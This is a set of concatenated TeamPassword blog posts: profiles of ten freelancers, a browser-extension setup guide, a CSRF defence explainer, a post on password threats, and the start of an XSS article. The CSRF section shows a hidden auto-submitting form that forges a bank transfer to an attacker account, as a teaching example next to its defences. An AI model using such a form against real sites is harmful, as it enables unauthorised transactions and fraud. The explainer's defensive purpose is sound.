Dreaming of a flexible career where you set your own hours and work with clients from around the globe? The rise of the gig economy has made this dream a reality for countless professionals. From graphic designers to writers and developers, freelancers are reshaping the traditional workplace.
Over the last decade, the gig economy boom has allowed professionals worldwide to switch to freelancing and build a network of international clients.&nbsp;
According to Upwork, <a href="https://www.upwork.com/research/freelance-forward-2022" rel="follow noopener" target="_blank">freelancers contributed $1.35 trillion to the U.S. economy in annual earnings in 2022, up $50 billion from 2021</a>.&nbsp;Some of the most successful freelancers earn hundreds of thousands of dollars per year through platforms like Upwork, Freelancer, and Toptal.
But what does it take to become a top-earning freelancer? In this post, we'll examine 10 successful individuals who have built thriving careers in the freelance world. By examining their portfolios and successes, we hope to give you a better idea of what's possible in the freelance world, and inspire you to take the leap should you decide that freelance is the right choice for you!
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Does your company hire freelancers? How do you <a href="https://teampassword.com/blog/should-i-share-data-with-freelancers" rel="follow noopener" target="_blank">share passwords with freelancers</a>? TeamPassword is an affordable password management solution for small businesses, startups, and agencies to share credentials securely with team members and freelancers. <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Sign up for a 14-day free trial</a> today.
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<h2>10 Successful Freelancers</h2>
Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in their given field with excellent track records&mdash;many have worked with the biggest companies in the world!
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<h3>1. Scott Luscombe - Graphic Designer / Shopify Expert / Website Developer / Copywriter&nbsp; - Canada</h3>
Scott Luscombe is a freelance graphic designer, Shopify expert, website developer, and copywriter from Uxbridge, Canada. He holds a degree in Illustration from Sheridan College and a degree in Marketing from the University of Toronto.
Scott has been a freelancer for most of his professional career and has earned over $500k on Upwork. He has completed over 311 jobs and worked&nbsp;10,956 hours!&nbsp;
Scott's work includes graphic design and branding, illustration and icons, copywriting, website design and development, UX/UI, and printing and packaging. He also provides freelance coaching and consulting. Scott is a Top Rated Upwork Freelancer currently charging $99 per hour for various creative gigs.
Some of Scott's most notable work includes designs for Coca-Cola, the Canadian Cancer Society, Nickelodeon, and Wallet Ninja (to name a few).&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>2. Kathy Edens - Marketing Consultant / Freelance Copywriter - United States</h3>
<a href="https://www.upwork.com/freelancers/~016177d19f0624c1a7?viewMode=1" rel="nofollow noopener" target="_blank">Kathy Edens is a Top Rated Upwork Freelancer</a> with over $300k platform earnings! Kathy has been self-employed as a marketing consultant and freelance copywriter for almost ten years from her home in Ohio, United States.
She holds a Bachelor of Science in Professional Writing and Psychology from Oregon State University, which she says "...helps me understand how to reach your target audience with words."&nbsp;
Kathy has ghost-written several non-fiction books on various topics, including social entrepreneurship, healthcare, real estate investing, and the cannabis industry, to name a few.
Kathy also writes web content, sales pages, email marketing content, case studies, white papers, brochures, press releases, and more. Kathy's rates start at $86 per hour for her writing and marketing services.
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<h3>3. Koen van Oeveren - UX designer - Netherlands</h3>
Koen van Oeveren is a freelance UI &amp; UX designer from North Brabant, Netherlands, with almost ten years of experience. Koen works with several design agencies in the Netherlands, designing apps, websites, and eCommerce experiences for many international brands.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
Koen holds a Bachelor of Applied Science in Communication and Multimedia Design from Avans University in the Netherlands. Koen's <a href="https://www.koenvo.com/index.html" rel="nofollow noopener" target="_blank">portfolio website Koenvo</a> was nominated for a <a href="https://www.awwwards.com/sites/koenvo-ui-ux-portfolio" rel="nofollow noopener" target="_blank">2021 awwwards Award</a>.
<img src="https://cdn.buttercms.com/IOmtrbdOQZev1mS8Jc33" alt="undefined" width="650" height="433">&nbsp;Image by Freepik&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>4. Pascal Strasche - Product / UX designer - Germany</h3>
Pascal Strasche is a product and UX designer with more than ten years of design experience from Germany. He holds a Master of Arts in Interaction Design and a Bachelor of Arts in Graphic Design, both from HAWK University of Applied Sciences and Arts.
For almost a year over 2020/2021, Pascal worked as the sole product designer to design Con Cubo's SaaS tool that helps complex organizations visualize and manage teams. He's also worked with German steel giant XOM Materials to find product solutions to digitalize&nbsp;Germany's steel industry.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
In 2019, Pascal founded Product Design Resources, a growing archive of 800+ design resources, weekly updated for the design community.
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<h3>5. Paul Hunkin - Developer - New Zealand</h3>
Paul Hunkin is a freelance software consultant and developer from Tauranga, New Zealand, but currently living in Portugal.&nbsp;
Paul has over ten years of experience as a software developer with an impressive work history, including Google, NASA, InfoSys, and the Chinese aerospace industry leader COMAC.
He's worked with several early-stage startups designing everything from high-performance big-data systems to complex web applications to 3D rendering engines. He's also built a lot of the foundational code for independent games on Android.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
Paul is a Top Rated Upwork Freelancer with over $400k in platform earnings. His rates start at $120 per hour for software development. <a href="https://paulh.consulting/" rel="nofollow noopener" target="_blank">Check out Paul's website</a> for more about his impressive portfolio and work history.
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<h3>6. Jana Galat - Writer / Brand Strategist - Canada</h3>
Jana Galat is a freelance copywriter and brand strategist from Ontario, Canada. She holds a Bachelor's Degree in Management and Organizational Studies from King's University College and an Honors in Business Administration from Western University.
Jana has extensive experience writing landing pages, email campaigns, social media ads, and print materials and says, "I am obsessed with creating copy that sells..."
After several years of professional work experience, Jana went freelance in 2019 and has quickly built a reputation as a <a href="https://www.upwork.com/freelancers/~01bfa17a48301876dd" rel="nofollow noopener" target="_blank">Top Rated Upwork Freelancer</a> with over $70k in platform earnings. Jana's rates start at $100 per hour for copywriting and brand consulting.
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<h3>7. Kate H. - Logo Designer / Branding Expert - United States</h3>
Kate is a freelance professional logo designer and branding expert from Maryland, United States. Kate&nbsp;ran her own green wedding brand which she sold to mywedding.com in 2014, allowing her to focus on helping small&nbsp;businesses figure out what they want (and who they are) and translate that into design.
She holds a Master's degree in Environmental Management from Yale School of The Environment, and a J.D. in environmental law from Pace Law School.&nbsp;
Kate's skillset includes redesigning and updating material to make it easier to understand, building a consistent brand from a simple starting point like a logo, and creating unique logos that guarantee results.
Kate is a Top Rated Upwork Freelancer, and her rates start at $225 per hour. You can find out more about Kate on her <a href="https://www.upwork.com/freelancers/~013ce73876c1c18126" rel="nofollow noopener" target="_blank">Upwork profile</a>.
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<h3>8. Marcos Rezende - UX designer - Canada</h3>
Marcos Rezende is a UX Designer from Ontario, Canada, with more than 13 years of experience. Marcos has worked in over 30 industry sectors for multinational organizations in the United States, Canada, Germany, and Brazil.&nbsp;
Some of Marcos' notable projects include apps for Ontario's COVID-19 dashboard, Urban Master Planning collaboration platform, and Reaction (kid's e-learning app), to name a few.&nbsp;
Marcos loves sharing his industry expertise with aspiring UX designers and regularly writes for the popular UX publication Career Foundry. Total recognizes Marcos as part of its "Top 3%" of global freelancer talent&mdash;a title given to elite freelancers in their given field.
We don't have access to Marcos' rates, but the best UX designers on Upwork earn upwards of $100 per hour. As a Toptal Top 3% freelancer, Marcos likely charges $200-$300 per hour.
<a href="https://www.marcosrezende.com/" rel="nofollow noopener" target="_blank">Marcos Rezende's website</a> was nominated for the prestigious <a href="https://www.awwwards.com/sites/ux-portfolio-marcos-rezende" rel="nofollow noopener" target="_blank">awwwards.</a> in 2021.
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<h3>9. Tanya Litvinova - UX/UI Designer - United States</h3>
Tanya Litvinova is a freelance UX/UI designer from New York City, United States. She holds a Bachelor of Fine Arts in Advertising Design / Communication Design from the Fashion Institute of Technology.
Tanya specializes in product, mobile, and web design as well as user experience flow, research, and validation.
"I have a passion to make the complex simple, shape behavior, design, plan, and strategize. Aiming for the best user experience, all the while balancing the needs of business and technology to create engaging, habit-forming digital products."
Tanya has worked with Fortune 100 &amp; Fortune 500 companies and successfully delivered business-transforming data-driven analytics, responsive BI dashboards, enterprise web apps, and management systems. Some of Tanya's notable clients include KOCH Industries, BlackRock Financial, BCG Group, and FireEye, to name a few.
<a href="https://www.upwork.com/freelancers/~0165035041b26e96df" rel="follow noopener" target="_blank">Tanya is a Top Rated Upwork Freelancer</a> with more than $200k platform earnings. Her current rate starts at $162.50 per hour.
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<h3>10. Guangming Lang - Data Scientist - United States</h3>
Guangming Lang is a freelance data scientist from Michigan, United States. He holds a Bachelor of Arts in Mathematics from New College of Florida and a Master of Science in Biostatistics from the University of Michigan. Guangming has also completed several Coursera courses in data science and machine learning.
Guangming has been a freelancer since 2013 and has worked across several industries, including fintech, trading, medicine, biotech, advertising, and HR.&nbsp;
Guangming is a Top Rated Upwork Freelancer with over $400k in platform earnings. He's completed 216 jobs on Upwork totaling 3,805 hours! Guangming's current rates start at $200 per hour.
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<h2>Secure Freelancer Workflows With TeamPassword</h2>
No matter how talented or reputable the freelancers and contractors you hire, your company must use secure workflows to protect your digital assets.
Freelancers often need access to shared accounts and tools. Using a <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">password manager</a> is the first step to securing these accounts and platforms. You can also use a password manager to share credentials with employees, clients, and other stakeholders to ensure you never expose raw passwords via email, spreadsheets, chat apps, and other non-secure methods.
On the Enterprise plan, you can even <a href="https://teampassword.com/one-time-secret?navbar=onetimesecret" rel="follow noopener" target="_blank">share a one-time password link</a>.&nbsp;
<a href="https://teampassword.com/" rel="follow noopener" target="_blank">TeamPassword</a> lets you create groups to share access with only those who need it. When they're done, revoke access with a single click. No need to change passwords every time someone leaves the team.
If you do need to change a password, TeamPassword's built-in <a href="https://teampassword.com/password-generator" rel="follow noopener" target="_blank">password generator</a> lets you create secure passwords between 12-32 characters using numbers, letters (uppercase/lowercase), and symbols.
<img src="https://cdn.buttercms.com/tj8gEkSCTwiowMUAocHy" alt="Built-in password generator.gif" width="400" height="305"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
Ready to onboard clients and freelancers securely with TeamPassword's robust password management solution? <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Sign up for a free trial</a> to secure your company's digital assets today!

Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in their given field.

Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in ...

10 extremely successful freelancers and what they do

Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in their given field with excellent track records—many have worked with the biggest companies in the world!

Managing passwords shouldn&rsquo;t feel like a second job. If you&rsquo;re still clicking back and forth between tabs to copy and paste login credentials, there is a much faster way to work.
The TeamPassword browser extension brings your entire vault directly into your workflow. Whether you&rsquo;re logging into a client portal or sharing a login with a teammate, the extension ensures you never have to leave the page you&rsquo;re on. In this guide, we&rsquo;ll show you exactly how to install and master the extension in just a few minutes.
<h3>TL;DR: The Quick Start Guide</h3>
Don't have time for the full tour? Here is the fast track to getting set up:
<ul>
<li>Download: Head to the <a href="https://chromewebstore.google.com/detail/teampassword/cikdbigchmgednjbjppflefljobhnhca" target="_blank" rel="follow noopener">TeamPassword Chrome Web Store Page</a>.</li>
<li>Install: Click Add to Chrome and then Add Extension on the popup.</li>
<li>Pin it: Click the puzzle piece icon in your browser toolbar and click the Pin icon next to TeamPassword.</li>
<li>Log In: Click the TeamPassword logo in your toolbar and sign in to see your vault.</li>
</ul>
<h3>Step 1: Installation</h3>
Getting started is simple. Navigate to the <a href="https://chromewebstore.google.com/detail/TeamPassword/cikdbigchmgednjbjppflefljobhnhca" rel="follow noopener" target="_blank">Chrome Web Store page for TeamPassword</a>. This version works seamlessly with Chrome, Brave, and Microsoft Edge.
Click the blue Add to Chrome button.&nbsp;
<img src="https://cdn.buttercms.com/xWWgtKzSIqF603vHuzEI" width="860" height="225" alt="The TeamPassword extension listing on the Chrome Web Store showing the Add to Chrome button.">
A small window will appear at the top of your browser asking for permission to install the tool. This is a standard security step to allow the extension to help you fill in your logins. Click Add Extension to finalize the process.
<img src="https://cdn.buttercms.com/tNOgEObhQBSYBim4cbbz" width="429" height="209" alt="A browser confirmation dialog box asking the user to click Add Extension to install TeamPassword.">

<h3>Step 2: Keep TeamPassword Within Reach (Pinning)</h3>
Once installed, the extension sometimes hides inside your browser's extension menu. To make sure it&rsquo;s always visible when you need it, you&rsquo;ll want to pin it to your toolbar.
<img src="https://cdn.buttercms.com/Oa1HUJnZS6KXbFrHs7Oy" width="248" height="47">
<img src="https://cdn.buttercms.com/ufxSLHuQXGyoto0yrstV" width="502" height="80" alt="The browser extension menu highlighting the pin icon next to the TeamPassword logo for toolbar access.">
<ol>
<li>Click the Extensions icon (it looks like a grey puzzle piece) in the top right corner of your browser.&nbsp;</li>
<li>Find TeamPassword in the dropdown list.</li>
<li>Click the Pin icon so it turns blue.</li>
</ol>
Now, the TeamPassword logo will stay next to your address bar for easy access.
<h3>Step 3: Navigating Your New Dashboard</h3>
When you click the TeamPassword icon in your toolbar, your home dashboard opens. Think of this as your mini-vault. You can search for specific logins, browse through your various groups, and if the extension recognizes a URL in your vault that matches the webpage you're currently on, it will bring it to the top.&nbsp;
<a data-designer-clipboard="{&quot;clipboardData&quot;:&quot;{\&quot;elements\&quot;:[{\&quot;id\&quot;:\&quot;35fd21ec-d949-48d3-a50a-bb1d10465cd0\&quot;,\&quot;type\&quot;:\&quot;Text\&quot;,\&quot;choice\&quot;:{\&quot;sp\&quot;:{\&quot;nvSpPr\&quot;:{\&quot;cNvPr\&quot;:{\&quot;id\&quot;:7,\&quot;name\&quot;:\&quot;9227f283-8075-45e3-b596-19f10c27bf69\&quot;},\&quot;cNvSpPr\&quot;:{\&quot;txBox\&quot;:true},\&quot;nvPr\&quot;:{}},\&quot;spPr\&quot;:{\&quot;xfrm\&quot;:{\&quot;off\&quot;:{\&quot;x\&quot;:1017761,\&quot;y\&quot;:1540842},\&quot;ext\&quot;:{\&quot;cx\&quot;:1630114,\&quot;cy\&quot;:333375},\&quot;flipH\&quot;:false,\&quot;flipV\&quot;:false,\&quot;rot\&quot;:0},\&quot;Geometry\&quot;:{\&quot;prstGeom\&quot;:{\&quot;prst\&quot;:\&quot;rect\&quot;}},\&quot;Fill\&quot;:{\&quot;noFill\&quot;:{}}},\&quot;txBody\&quot;:{\&quot;bodyPr\&quot;:{\&quot;anchor\&quot;:\&quot;ctr\&quot;,\&quot;bIns\&quot;:0,\&quot;lIns\&quot;:0,\&quot;rIns\&quot;:0,\&quot;tIns\&quot;:0,\&quot;AutofitProp\&quot;:{\&quot;spAutoFit\&quot;:{}},\&quot;wrap\&quot;:\&quot;none\&quot;,\&quot;noWrapProps\&quot;:{\&quot;resizeLimit\&quot;:305.1},\&quot;prstTxWarp\&quot;:{\&quot;prst\&quot;:\&quot;textPlain\&quot;}},\&quot;p\&quot;:[{\&quot;pPr\&quot;:{\&quot;algn\&quot;:\&quot;ctr\&quot;,\&quot;rtl\&quot;:false,\&quot;lnSpc\&quot;:{\&quot;textSpacingChoice\&quot;:{\&quot;spcPct\&quot;:{\&quot;val\&quot;:100000}}},\&quot;spcAft\&quot;:{\&quot;textSpacingChoice\&quot;:{\&quot;spcPts\&quot;:{\&quot;val\&quot;:0}}},\&quot;spcBef\&quot;:{\&quot;textSpacingChoice\&quot;:{\&quot;spcPts\&quot;:{\&quot;val\&quot;:0}}}},\&quot;runs\&quot;:[{\&quot;r\&quot;:{\&quot;rPr\&quot;:{\&quot;b\&quot;:false,\&quot;i\&quot;:false,\&quot;u\&quot;:\&quot;none\&quot;,\&quot;strike\&quot;:\&quot;noStrike\&quot;,\&quot;sz\&quot;:2200,\&quot;spc\&quot;:0,\&quot;spcUnit\&quot;:\&quot;percent\&quot;,\&quot;Fill\&quot;:{\&quot;solidFill\&quot;:{\&quot;color\&quot;:{\&quot;srgbClr\&quot;:{\&quot;val\&quot;:\&quot;e3182d\&quot;}}}},\&quot;cs\&quot;:{\&quot;typeface\&quot;:\&quot;Elephant Pro\&quot;},\&quot;latin\&quot;:{\&quot;typeface\&quot;:\&quot;Elephant Pro\&quot;}},\&quot;t\&quot;:\&quot;Create new\&quot;}}]}]}}}}],\&quot;rels\&quot;:[]}&quot;,&quot;clipboardFormat&quot;:&quot;application/vnd.ms-designer+json&quot;}"></a><img src="https://cdn.buttercms.com/CIapYSCkT5W3GaMgNAeP" alt="The TeamPassword browser extension home dashboard displaying a searchable list of saved passwords and highlighting plus icon and view details." width="338" height="588">
Need to add a new login on the fly? You don&rsquo;t need to open the full website. Just click the "plus" button inside the extension to create a new record and save credentials instantly.
<h3>Step 4: Using Autofill (and When to Manual Fill)</h3>
The extension is designed to recognize when you are on a login page. Click the recognized login to autofill.&nbsp;
<img src="https://cdn.buttercms.com/kXCWRlpcRYygbwFqndc4" width="849" height="477">
While we strive for 100% accuracy, the internet is built on many different frameworks, meaning autofill only works some of the time. If the autofill icon doesn&rsquo;t pop up, simply click the View Details icon for the login, and use the copy icons to manually paste your details into the fields.
<h3>Step 5: Mastering Two-Factor Authentication (TOTP)</h3>
Security is our priority, which is why we&rsquo;ve built TOTP (Time-based One-Time Password) support directly into the extension. If you have a time-based 2FA set up for a record, you don&rsquo;t need to grab your phone to check an app.
<img src="https://cdn.buttercms.com/s0zQTdETtm7iicswIQVe" width="431" height="150" alt="The TeamPassword extension interface showing a 6-digit TOTP two-factor authentication code for a saved account.">
Find the record in your extension, and the 6-digit code will be right there, refreshing every 30 seconds. Click to copy the code and paste it into the site to complete your login.
<hr>
The TeamPassword extension is the best way to keep your team secure without slowing down your momentum. By spending five minutes setting it up today, you&rsquo;ll save hours of searching and typing over the coming weeks.
Don't have a TeamPassword account? <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Sign up for a free trial!</a>&nbsp;

Master the TeamPassword extension in minutes. Follow our visual guide to set up one-click logins and secure TOTP codes directly in your browser.

Master the TeamPassword extension in minutes. Follow our visual guide to set up one-click logins and secure TOTP ...

How to Streamline Your Workflow with the TeamPassword Extension

(Security Notice: Protecting your users from session-based vulnerabilities is a cornerstone of modern web development. This guide explores Cross-Site Request Forgery&mdash;a silent but high-impact threat&mdash;and provides the updated defense-in-depth strategies required.)
In the world of cybersecurity, Cross-Site Request Forgery (CSRF) is often referred to as the "Confused Deputy" problem. It occurs when a web server is tricked into using its authority to perform an action on behalf of a user without that user's consent or knowledge.
While browser-level protections have improved significantly over the last few years, CSRF remains a critical risk, particularly for applications using cookie-based authentication or those with complex API architectures. Understanding how to mitigate this risk is essential for any team focused on building secure, resilient digital products.
Don't let your business fall victim to preventable vulnerabilities. Let <a href="https://app.teampassword.com/dashboard#signup/testimonial" target="_blank" rel="noopener">TeamPassword</a> take care of your credential security while you focus on scaling your operations.
<h2>The Mechanism: How a CSRF Attack Works</h2>
A CSRF attack exploits the fact that browsers automatically include ambient credentials&mdash;such as session cookies, IP addresses, and Windows Domain authentication&mdash;with every request sent to a domain. The server sees a valid session cookie and "trusts" that the request was intentional.
<h3>The Attack Sequence</h3>
<h3><img src="https://cdn.buttercms.com/OxvA7nETaCoNyjYyFOpn" alt="undefined" width="750" height="419"></h3>
<h3>Beyond the GET Request</h3>
Many developers mistakenly believe that only <code>GET</code> requests are vulnerable. However, an attacker can easily forge a <code>POST</code> request using a hidden form on a malicious landing page:
<pre style="background: #272822; color: #f8f8f2; padding: 15px; border-radius: 5px; overflow-x: auto;"><code>&lt;!-- A hidden malicious form that auto-submits on page load --&gt;
&lt;form id="attack-form" action="https://yourbank.com/api/transfer" method="POST"&gt;
 &lt;input type="hidden" name="account" value="attacker-123" /&gt;
 &lt;input type="hidden" name="amount" value="5000" /&gt;
&lt;/form&gt;
&lt;script&gt;
 document.getElementById('attack-form').submit();
&lt;/script&gt;</code></pre>
<h2>The Impact of CSRF</h2>
The consequences of a successful CSRF attack range from minor inconveniences to catastrophic security breaches:
<ul>
<li>Account Takeover: Changing a user&rsquo;s recovery email or password.</li>
<li>Financial Fraud: Unauthorized fund transfers or purchasing digital goods via stored payment methods.</li>
<li>Data Corruption: Deleting records, changing privacy settings, or modifying critical business configurations.</li>
<li>Reputational Damage: Loss of user trust and potential regulatory fines (GDPR/CCPA) for failing to implement standard security controls.</li>
</ul>
<h2>Modern CSRF Defense Strategies (2026 Standards)</h2>
<h3>1. SameSite Cookie Attributes</h3>
In 2026, browsers treat <code>SameSite=Lax</code> as the default for all cookies. This prevents the browser from sending the cookie in cross-site <code>POST</code> requests. However, for high-security actions, you should explicitly set SameSite=Strict.
<pre style="background: #272822; color: #f8f8f2; padding: 15px; border-radius: 5px;"><code>Set-Cookie: session_id=abc123; SameSite=Strict; Secure; HttpOnly</code></pre>
<h3>2. The Synchronizer Token Pattern (Anti-CSRF Tokens)</h3>
This is the industry standard. The server generates a unique, cryptographically strong token for the user's session. The client must include this token in any state-changing request (POST, PUT, DELETE). The server then validates the token before processing the action.
<h3>3. Custom Request Headers</h3>
Because of the Same-Origin Policy (SOP), a malicious site cannot add custom HTTP headers to a request it sends to another domain. Requiring a custom header for API calls is an effective secondary defense.
<pre style="background: #272822; color: #f8f8f2; padding: 15px; border-radius: 5px;"><code>// Example using Fetch API with a custom header
fetch('/api/update-settings', {
 method: 'POST',
 headers: {
 'X-CSRF-Token': 'unique-token-here',
 'Content-Type': 'application/json'
 },
 body: JSON.stringify({ theme: 'dark' })
});</code></pre>
<h2>CSRF vs. XSS: What&rsquo;s the Difference?</h2>
It is common to confuse CSRF with Cross-Site Scripting (XSS), but they are fundamentally different:
<table border="1" cellpadding="10" style="border-collapse: collapse; width: 100%; margin-top: 20px;">
<thead>
<tr style="background-color: #eee;">
<th>Feature</th>
<th>CSRF</th>
<th>XSS</th>
</tr>
</thead>
<tbody>
<tr>
<td>Goal</td>
<td>Trick the server into performing an action.</td>
<td>Execute malicious scripts in the victim's browser.</td>
</tr>
<tr>
<td>Method</td>
<td>Exploits the trust a site has in a user's browser.</td>
<td>Exploits the trust a user has in a specific site.</td>
</tr>
<tr>
<td>Prerequisite</td>
<td>The user must be authenticated on the target site.</td>
<td>The site must have an input vulnerability to inject script.</td>
</tr>
</tbody>
</table>
<h2>Protecting Your Infrastructure</h2>
Modern frameworks like Django, Ruby on Rails, and Spring Boot have CSRF protection enabled by default. If you are building with React or Angular, ensure your backend is configured to read the CSRF tokens from the headers provided by your frontend interceptors.
In an era where automated tools and AI are being used to identify vulnerabilities faster than ever, manual security isn't enough. Ensuring that your team uses complex, unique passwords across all development platforms is the first line of defense against account compromise.
<a href="https://app.teampassword.com/signup" target="_blank" rel="follow noopener">Sign up for a free 14-day trial of TeamPassword</a> today to secure your company's digital assets and provide your team with the tools they need to stay safe.
<img alt="TeamPassword SOC 2 certified.png" width="644" height="644" src="https://cdn.buttercms.com/2E1SBkO9QNa8f94LkvZC">

CSRF attacks trick your server into executing unauthorized actions. Discover why modern browsers aren't enough to stop them and get the code snippets you need for total defense.

Cross-site request forgery attempts to have users unknowingly execute actions on a web application which they are currently ...

What is CSRF? A Complete Guide to Cross-Site Request Forgery

Cross-site request forgery attempts to have users unknowingly execute actions on a web application which they are currently authenticated.

In the race to scale a business, speed is everything. We use Slack for instant answers, browser auto-fill to save seconds on logins, and shared spreadsheets to keep the whole team moving. But there is a "convenience tax" that most teams don't realize they are paying. Many of the habits we adopt to work faster are the exact vulnerabilities that lead to modern password threats.
According to recent data, password-related vulnerabilities remain the primary cause of most <a href="https://teampassword.com/blog/category/data-breaches" rel="follow noopener" target="_blank">data breaches</a>. The goal isn't to stop being productive; it&rsquo;s to bridge the gap between working fast and staying secure.
<h2>The Productivity vs. Security Audit</h2>
Before diving into the specific attacks, look at your team&rsquo;s current workflow. Are you accidentally inviting these password threats?
<table style="border-collapse: collapse; border-spacing: 4px; border-color: #95a5a6; border-style: solid;" border="1">
<thead>
<tr>
<th style="padding: 4px; border-color: #95a5a6;">The Shortcut (Utility)</th>
<th style="padding: 4px; border-color: #95a5a6;">The Hidden Risk (Security)</th>
<th style="padding: 4px; border-color: #95a5a6;">The Threat</th>
</tr>
</thead>
<tbody>
<tr>
<td style="padding: 4px; border-color: #95a5a6;">"Ping me the login on Slack."</td>
<td style="padding: 4px; border-color: #95a5a6;">Plain-text passwords stay in chat history forever.</td>
<td style="padding: 4px; border-color: #95a5a6;">Spear Phishing</td>
</tr>
<tr>
<td style="padding: 4px; border-color: #95a5a6;">"Let's just use CompanyName2026!"</td>
<td style="padding: 4px; border-color: #95a5a6;">Predictable patterns are easily guessed by bots.</td>
<td style="padding: 4px; border-color: #95a5a6;">Brute Force</td>
</tr>
<tr>
<td style="padding: 4px; border-color: #95a5a6;">"Save my password in Chrome."</td>
<td style="padding: 4px; border-color: #95a5a6;">Browser-stored credentials can be intercepted.</td>
<td style="padding: 4px; border-color: #95a5a6;">Man-in-the-Middle</td>
</tr>
<tr>
<td style="padding: 4px; border-color: #95a5a6;">"I use this password for everything."</td>
<td style="padding: 4px; border-color: #95a5a6;">One minor leak compromises every single account.</td>
<td style="padding: 4px; border-color: #95a5a6;">Credential Stuffing</td>
</tr>
</tbody>
</table>
<h2>1. The "Quick Ping" Trap: Spear Phishing</h2>
We&rsquo;ve all done it: a teammate asks for a login, and you paste it into a DM or email to keep them moving. This is high utility, but it creates a massive target for Spear Phishing. Unlike generic spam, spear phishing is a targeted attack where a criminal impersonates a trusted source&mdash;like your CEO or a vendor&mdash;to gain access to those specific communication channels.
If an attacker gains access to one person's email or Slack, they don't just see the messages; they see the history. Every password ever shared in plain text becomes a "key" the hacker can now use. This is exactly how <a href="https://teampassword.com/blog/what-happened-during-the-twitter-spear-phishing-attack" rel="follow noopener" target="_blank">Twitter&rsquo;s internal systems were breached</a> by a teenager in 2020.
Deep Dive: <a href="https://teampassword.com/blog/spear-phishing" rel="follow noopener" target="_blank">How to spot and stop spear phishing attacks</a>.
<h2>2. The "Remote Work" Shortcut: Man-in-the-Middle (MITM)</h2>
The "utility" here is the ability to work from anywhere&mdash;the airport, a coffee shop, or a co-working space. To stay productive, we often rely on public Wi-Fi and browser "remember me" features. A Man-in-the-Middle attack happens when a hacker intercepts the data passing between your device and the server.
If you are working on an unencrypted network or a site without HTTPS, your credentials can be "sniffed" out of the air. Even a "Remember Me" cookie can be hijacked to bypass login screens entirely. Modern password management prevents this by localizing the encryption, ensuring that even if data is intercepted, it remains unreadable gibberish.
Deep Dive: <a href="https://teampassword.com/blog/man-in-the-middle-attack" rel="follow noopener" target="_blank">Understanding the Man-in-the-Middle architecture</a>.
<h2>3. The "Easy to Remember" Habit: Brute Force</h2>
Humans are bad at remembering random strings of characters. To stay productive, we create "systematized" passwords like BrandName2026!. While this feels organized, it is the primary food source for Brute Force attacks.
Hackers use automated scripts that try thousands of variations of common words and patterns every second. If your username is public (like your email address) and your password follows a predictable pattern, it's only a matter of time before a bot finds the right combination. Using a <a href="https://teampassword.com/password-generator" rel="follow noopener" target="_blank">password generator</a> to create 32-character "noise" is the only way to truly neutralize this threat.
Deep Dive: <a href="https://teampassword.com/blog/what-is-a-brute-force-attack-and-are-you-at-risk" rel="follow noopener" target="_blank">Why your "strong" password isn't enough</a>.
<h2>4. The "Universal Login": Credential Stuffing</h2>
This is the most common "productivity shortcut." Using the same password for your project management tool, your email, and your favorite pizza delivery app saves mental energy. However, it leads to Credential Stuffing.
When a minor site (like that pizza app) gets breached, hackers take the billions of leaked emails and passwords and "stuff" them into the login pages of more valuable targets like AWS, GitHub, or banking portals. If you reuse passwords, a breach at a company you haven't used in five years could lead to a breach of your current business today.
Deep Dive: <a href="https://teampassword.com/blog/appletree-to-anarchy-credential-stuffing" rel="follow noopener" target="_blank">From Appletree to Anarchy: The anatomy of credential stuffing</a>.
<h2>5. The "Personal Touch": Dictionary Attacks</h2>
Dictionary attacks are a more refined version of brute force. Instead of trying every character, they use "personal" data to narrow the search. If a hacker knows your dog&rsquo;s name (from Instagram) or your city (from LinkedIn), they add those to their "dictionary."
By using recognizable words or familiar phrases, you make the hacker's job exponentially easier. The "utility" of having a password you can actually remember is outweighed by the risk of that password being part of a common word-list.
<hr>
<h2>Bridging the Gap with TeamPassword</h2>
Security shouldn't be a speed bump. The reason teams use shortcuts like shared spreadsheets or recycled passwords is that traditional security feels slow. We designed TeamPassword to give you back that utility without the associated risks.
<ul>
<li><a href="https://teampassword.com/blog/2fa-rollout-guide" rel="follow noopener" target="_blank">2FA Integration</a>: Enforceable 2FA, requiring all users to provide a time-based code when logging into their vault.&nbsp;</li>
<li>One-Click Access: Our <a href="https://teampassword.com/blog/streamline-workflow-with-teampassword-extension" rel="follow noopener" target="_blank">browser extensions</a> (Chrome, Firefox, Safari) allow your team to log in instantly, removing the temptation to use "remember me" shortcuts in the browser.</li>
<li>Activity Logging: Instead of wondering who accessed what, you have a <a href="https://teampassword.com/blog/5-minute-monthly-security-audit" rel="follow noopener" target="_blank">full audit trail</a> to get ahead of suspicious activity.</li>
</ul>
You don't have to sacrifice your team's workflow to protect against password threats. You just need a better bridge.
Stop the convenience trap. <a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Start your 14-day free trial</a> and see how TeamPassword makes security as fast as your team.

Are your team’s productivity shortcuts a security risk? Discover the 5 most common password threats—from spear phishing to credential stuffing—and how to secure your workflow without sacrificing speed.

Are your team’s productivity shortcuts a security risk? Discover the 5 most common password threats—from spear phishing to ...

The Convenience Trap: 5 Password Threats Hidden in Your Productivity Shortcuts

At <a href="https://teampassword.com" rel="follow noopener" target="_blank">TeamPassword</a>, we believe that true security is built on a foundation of both robust technology and informed users. As custodians of your most sensitive credential data, we maintain a proactive stance against an ever-evolving landscape of digital threats. While a password manager is a vital first line of defense, it is only one piece of a broader security puzzle. In this series, we pull back the curtain on the technical side of web safety&mdash;exploring how developers engineer defenses against sophisticated attacks and how you can sharpen your own awareness to keep your data out of the hands of cybercriminals.
<h2>What is Cross-Site Scripting (XSS) and How Do You Defend Against It?</h2>
